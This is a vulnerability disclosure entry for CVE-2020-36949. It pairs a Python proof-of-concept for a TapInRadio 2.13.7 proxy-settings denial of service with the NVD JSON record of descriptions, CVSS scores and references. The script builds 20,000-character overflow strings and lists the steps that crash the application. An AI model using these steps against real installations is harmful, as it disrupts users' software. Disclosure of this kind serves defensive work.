CVE-2020-36949

#!/usr/bin/env python3 """ CVE-2020-36949 PoC - TapInRadio Proxy Settings Buffer Overflow DoS This PoC demonstrates the denial of service vulnerability in TapInRadio 2.13.7 proxy settings by sending a large buffer to overflow input fields. Usage: python3 cve-2020-36949_poc.py """ import sys import time def generate_large_payload(size=20000): """Generate a large string payload to overflow input fields.""" # Generate printable characters for input field overflow payload = 'A' * size return payload def exploit_tapinradio_proxy_overflow(): """ Simulate the exploitation of CVE-2020-36949. Attack vector: 1. Attacker accesses TapInRadio proxy settings (Settings -> Preferences -> Proxy) 2. Attacker pastes 20,000+ character string into Username field 3. Attacker pastes 20,000+ character string into Address field 4. Application crashes and becomes unresponsive 5. User must terminate process or reinstall application """ print("[*] CVE-2020-36949 TapInRadio Proxy Settings DoS PoC") print("[*] Target: TapInRadio <= 2.13.7") print("-" * 50) # Generate overflow payloads username_payload = generate_large_payload(20000) address_payload = generate_large_payload(20000) print(f"[+] Generated username payload: {len(username_payload)} bytes") print(f"[+] Generated address payload: {len(address_payload)} bytes") print("\n[*] Attack simulation:") print(f"[+] Step 1: Navigate to TapInRadio -> Settings -> Preferences -> Proxy") print(f"[+] Step 2: Input username field with {len(username_payload)} characters") print(f"[+] Step 3: Input address field with {len(address_payload)} characters") print(f"[+] Step 4: Click Save/Apply button") print(f"[+] Step 5: Application crashes due to buffer overflow") # Simulate the attack print("\n[*] Executing attack...") time.sleep(1) # Display the overflow pattern print(f"\n[+] Username payload preview: {username_payload[:50]}...") print(f"[+] Address payload preview: {address_payload[:50]}...") print("\n[!] Result: Application becomes unresponsive and crashes") print("[!] User intervention required to restore application functionality") return True if __name__ == "__main__": exploit_tapinradio_proxy_overflow()

{"cve": {"id": "CVE-2020-36949", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:12.383", "lastModified": "2026-02-20T14:22:03.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TapinRadio 2.13.7 contains a denial of service vulnerability in the application proxy settings that allows attackers to crash the program by overflowing input fields. Attackers can paste a large buffer of 20,000 characters into the username and address fields to cause the application to become unresponsive and require reinstallation."}, {"lang": "es", "value": "TapinRadio 2.13.7 contiene una vulnerabilidad de denegación de servicio en la configuración del proxy de la aplicación que permite a los atacantes colapsar el programa desbordando los campos de entrada. Los atacantes pueden pegar un búfer grande de 20.000 caracteres en los campos de nombre de usuario y dirección para hacer que la aplicación deje de responder y requiera una reinstalación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raimersoft:tapinradio:2.13.7:*:*:*:*:*:*:*", "matchCriteriaId": "09E1137E-4864-4FE6-B62A-F23F6ECC5A1D"}]}]}], "references": [{"url": "http://www.raimersoft.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/49206", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tapinradio-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/49206", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "VDB Entry"]}]}}